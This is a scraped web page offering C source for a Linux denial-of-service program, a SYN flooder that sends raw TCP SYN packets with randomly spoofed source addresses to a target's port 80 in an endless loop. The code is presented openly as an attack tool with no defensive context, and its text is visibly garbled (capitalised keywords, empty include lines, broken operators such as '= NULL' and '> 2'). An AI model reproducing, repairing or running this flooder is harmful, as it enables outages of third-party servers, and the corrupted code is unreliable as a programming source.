DOS attack programs in c Programming in linux

Source: Internet
Author: User
The DOS attack program in c Programming in linux-general Linux technology-Linux programming and kernel information. The following is a detailed description.
CODE:/********************* DOS. c *****************/
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Define DESTPORT 80
# Define LOCALPORT 8888
Void send_tcp (int sockfd, struct sockaddr_in * addr );
Unsigned short check_sum (unsigned short * addr, int len );
Int main (int argc, char ** argv)
{
Int sockfd;
Struct sockaddr_in addr;
Struct hostent * host;
Int on = 1;
If (argc! = 2)
{
Fprintf (stderr, "Usage: % s hostname \ n \ a", argv [0]);
Exit (1 );
}
Bzero (& addr, sizeof (struct sockaddr_in ));
Addr. sin_family = AF_INET;
Addr. sin_port = htons (DESTPORT );
If (inet_aton (argv [1], & addr. sin_addr) = 0)
{
Host = gethostbyname (argv [1]);
If (host = NULL)
{
Fprintf (stderr, "HostName Error: % s \ n \ a", hstrerror (h_errno ));
Exit (1 );
}
Addr. sin_addr = * (struct in_addr *) (host-> h_addr_list [0]);
}
Sockfd = socket (AF_INET, SOCK_RAW, IPPROTO_TCP );
If (sockfd <0)
{
Fprintf (stderr, "Socket Error: % s \ n \ a", strerror (errno ));
Exit (1 );
}
Setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, & on, sizeof (on ));
Setuid (getpid ());
Send_tcp (sockfd, & addr );
}
Void send_tcp (int sockfd, struct sockaddr_in * addr)
{
Char buffer [100];
Struct ip * ip;
Struct tcphdr * tcp;
Int head_len;
Head_len = sizeof (struct ip) + sizeof (struct tcphdr );
Bzero (buffer, 100 );
Ip = (struct ip *) buffer;
Ip-> ip_v = IPVERSION;
Ip-> ip_hl = sizeof (struct ip)> 2;
Ip-> ip_tos = 0;
Ip-> ip_len = htons (head_len );
Ip-> ip_id = 0;
Ip-> ip_off = 0;
Ip-> ip_ttl = MAXTTL;
Ip-> ip_p = IPPROTO_TCP;
Ip-> ip_sum = 0;
Ip-> ip_dst = addr-> sin_addr;
Tcp = (struct tcphdr *) (buffer + sizeof (struct ip ));
Tcp-> source = htons (LOCALPORT );
Tcp-> dest = addr-> sin_port;
Tcp-> seq = random ();
Tcp-> ack_seq = 0;
Tcp-> doff = 5;
Tcp-> syn = 1;
Tcp-> check = 0;
While (1)
{
Ip-> ip_src.s_addr = random ();
Tcp-> check = check_sum (unsigned short *) tcp,
Sizeof (struct tcphdr ));
Sendto (sockfd, buffer, head_len, 0, (struct sockaddr *) addr, sizeof (struct sockaddr_in ));
}
}
Unsigned short check_sum (unsigned short * addr, int len)
{
Register int nleft = len;
Register int sum = 0;
Register short * w = addr;
Short answer = 0;
While (nleft> 1)
{
Sum + = * w ++;
Nleft-= 2;
}
If (nleft = 1)
{
* (Unsigned char *) (& answer) = * (unsigned char *) w;
Sum + = answer;
}
Sum = (sum> 16) + (sum & 0 xffff );
Sum + = (sum> 16 );
Answer = ~ Sum;
Return (answer );
}

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.